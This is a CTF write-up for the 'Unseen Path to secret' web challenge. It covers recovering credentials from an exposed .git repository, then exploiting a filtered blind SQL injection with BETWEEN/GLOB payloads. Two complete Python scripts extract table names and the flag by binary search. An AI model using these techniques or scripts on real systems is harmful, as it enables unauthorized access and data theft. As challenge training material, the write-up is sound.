03/08/25
SQLInjection&GitExposure
Unseen Path | ASC Cyber WarGames
Thanks for sharing!
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

I know your browser history
Welcome back again with another write-up! Today we will cover
Unseen Path to secret web challenge from the ASC Cyber WarGames CTF.Summary
Analyzing a leaked Git repo to extract credentials, then pivot to a SQL injection with heavy filtering to extract the flag.
Unseen Path to secret
We are represented with this "Site Under Construction" page


Since fuzzing is not allowed, we can try to find some clues.
Down there
Powered by Github · PHP · SQLite · Apache. Immedietly thought about checking /.git/ path
Got Forbidden error, but that doesn't mean we can't access the repo, sometimes it's just blocking this path but not the actual repo inside
SO we tried
/.git/config or /.git/HEAD and we got some files!
Aamzing! next we dump it using git-dumper:
git-dumper http://34.18.12.84:8086/.git/ repo
This will create a
repo folder with all the files inside the git repo.In the repo we have got some files:
index.php, login.php, but both didn't have any good information.Next thing you usually try is checking past commits
git log
That got use all commits. They were about 50 so for a cleaner view we can use
git log --oneline to get a single line for each commit.And we got an interesting commit message
Delete Secrets!
So we check the commit before that one by using
git checkout 0a6893d and we find a file named .config.php.swp which contains some credentials
We visit
login.php in the website and try to login with the credentials we found and we we are in!We are presented with an admin panel with some functionalities

There was an
action parameter in the URL which we can use to get different pages, tested it against some vulnerabilities like LFI but that yielded nothing.The only interesting functionality was the
Check User (Test) which allows us to check if a user is active or not.
At first I tried OS command injection but there was some kind of filter that blocks out symbols like
; `` > < = $Next tried sql injection with our basic payload
' or 1=1 -- but that didn't work since = is blocked.Playing around the payload 
' or 1 -- got me User is active which means it returned true and there we have a blind sql injection!

To confirm that, the payload
' or 0 -- got me User not found which means it returned false
After a bit of testing, we discover a filter that blocks
<, >, ", union and a lot of other stuffNow since sqlmap won't work here, we need to find a way to bypass this filter manually.
My friend Korea came up with a payload that uses unicode to bypass the filter
' OR (SELECT unicode(substr(name,1,1)) FROM sqlite_master WHERE type GLOB 'table' LIMIT 1) BETWEEN 0 AND 127--
This payload attempts to extract the first table name from the
sqlite_master table and evaluates whether the Unicode value of its first character falls within the ASCII range (0–127). I used the BETWEEN operator instead of = since it was blocked. As expected, the condition returned true, confirming that the first character of the table name is indeed within the ASCII rangeMy friend
0XMohomiester figured out another working payload as well:' OR 's' IN (SELECT substring(name,2,1) FROM sqlite_master where type IN('table')) --
Now we need to automate this operation to exfilterate the table names
Using the help of AI it made me a script to extract all tables from the database and it did a great job:
import requests
import urllib.parse
import time
# Target endpoint
url = "http://34.18.12.84:8086/admin.php?action=check"
# HTTP headers, including your session cookie
headers = {
"Host": "34.18.12.84:8086",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=0bc1e25088b2b6506cc3cbd31ac833de",
}
# True and false indicators in the HTTP response
true_indicator = "User is active"
false_indicator = "User not found"
# Sends a POST request with the given SQL payload
def send_payload(payload):
encoded_payload = urllib.parse.quote_plus(payload)
data = f"action=check&username={encoded_payload}"
print(f"[>] Sending payload: {payload}")
response = requests.post(url, headers=headers, data=data)
print(f"[<] Status: {response.status_code} | Length: {len(response.text)}")
if true_indicator in response.text:
print("[✓] Condition is TRUE\n")
return True
elif false_indicator in response.text:
print("[✗] Condition is FALSE\n")
return False
else:
print("[!] Unexpected response:\n", response.text[:200])
return False
# Extracts a single table name at given offset
def extract_table_name(offset):
result = ""
pos = 1
print(f"\n[!] Extracting table name at OFFSET {offset}...\n")
while True:
# Template for the payload with OFFSET
payload_template = (
"' OR (SELECT unicode(substr(name,{pos},1)) FROM sqlite_master "
"WHERE type GLOB 'table' LIMIT 1 OFFSET {offset}) BETWEEN {low} AND {high}--"
)
# Extract one character at a time using binary search
def extract_char(pos):
low, high = 32, 126 # Printable ASCII
while low <= high:
mid = (low + high) // 2
payload = payload_template.format(pos=pos, low=low, high=mid, offset=offset)
result = send_payload(payload)
if result:
high = mid - 1
else:
low = mid + 1
time.sleep(0.2) # Optional delay
return chr(low) if 32 <= low <= 126 else None
ch = extract_char(pos)
if ch is None:
break
result += ch
print(f"[+] Table name so far (offset {offset}): {result}")
pos += 1
if result:
print(f"[✔] Table at OFFSET {offset}: {result}")
else:
print(f"[!] No table found at OFFSET {offset}")
return result
# Main loop to extract multiple table names
if __name__ == "__main__":
max_tables = 5 # Try up to 5 table names
all_tables = []
for offset in range(max_tables):
table = extract_table_name(offset)
if not table:
break
all_tables.append(table)
print("\n[🏁] Extracted Tables:")
for i, t in enumerate(all_tables):
print(f" [{i}] {t}")
The out put was as following
[🏁] Extracted Tables:
[0] users
[1] secrets
Now we need to get the flag from
secrets table we could enamurate the column names as well but my friend assumed the flag will be in column named secret and that assumption was right.The final script:
import requests
import urllib.parse
import time
# Target URL
url = "http://34.18.12.84:8086/admin.php?action=check"
# Headers (including PHPSESSID cookie)
headers = {
"Host": "34.18.12.84:8086",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=0bc1e25088b2b6506cc3cbd31ac833de",
}
true_indicator = "User is active"
false_indicator = "User not found"
# Send payload and determine TRUE or FALSE
def send_payload(payload):
encoded = urllib.parse.quote_plus(payload)
data = f"action=check&username={encoded}"
print(f"[>] Payload: {payload}")
response = requests.post(url, headers=headers, data=data)
print(f"[<] Status: {response.status_code}, Length: {len(response.text)}")
if true_indicator in response.text:
print("[✓] TRUE\n")
return True
elif false_indicator in response.text:
print("[✗] FALSE\n")
return False
else:
print("[!] Unexpected response:\n", response.text[:200])
return False
# Extract one character at a time using binary search
def extract_char_at_pos(pos):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = (
f"' OR (SELECT unicode(substr(secret,{pos},1)) FROM secrets LIMIT 1) "
f"BETWEEN {low} AND {mid}--"
)
result = send_payload(payload)
if result:
high = mid - 1
else:
low = mid + 1
time.sleep(0.2)
return chr(low) if 32 <= low <= 126 else None
# Full flag extractor
def extract_flag():
result = ""
pos = 1
print("\n[!] Starting flag extraction from secrets.secret...\n")
while True:
ch = extract_char_at_pos(pos)
if ch is None:
break
result += ch
print(f"[+] Flag so far: {result}")
pos += 1
print("\n[✔] Extraction complete.")
return result
if __name__ == "__main__":
flag = extract_flag()
print(f"\n[🏁] Final Flag: {flag}")
And Here is our flag
[✔] Extraction complete.
[🏁] Final Flag: ASCWG{VIM_SPILL_SQLI_DRILL}
ASCWG{VIM_SPILL_SQLI_DRILL}
Tags:

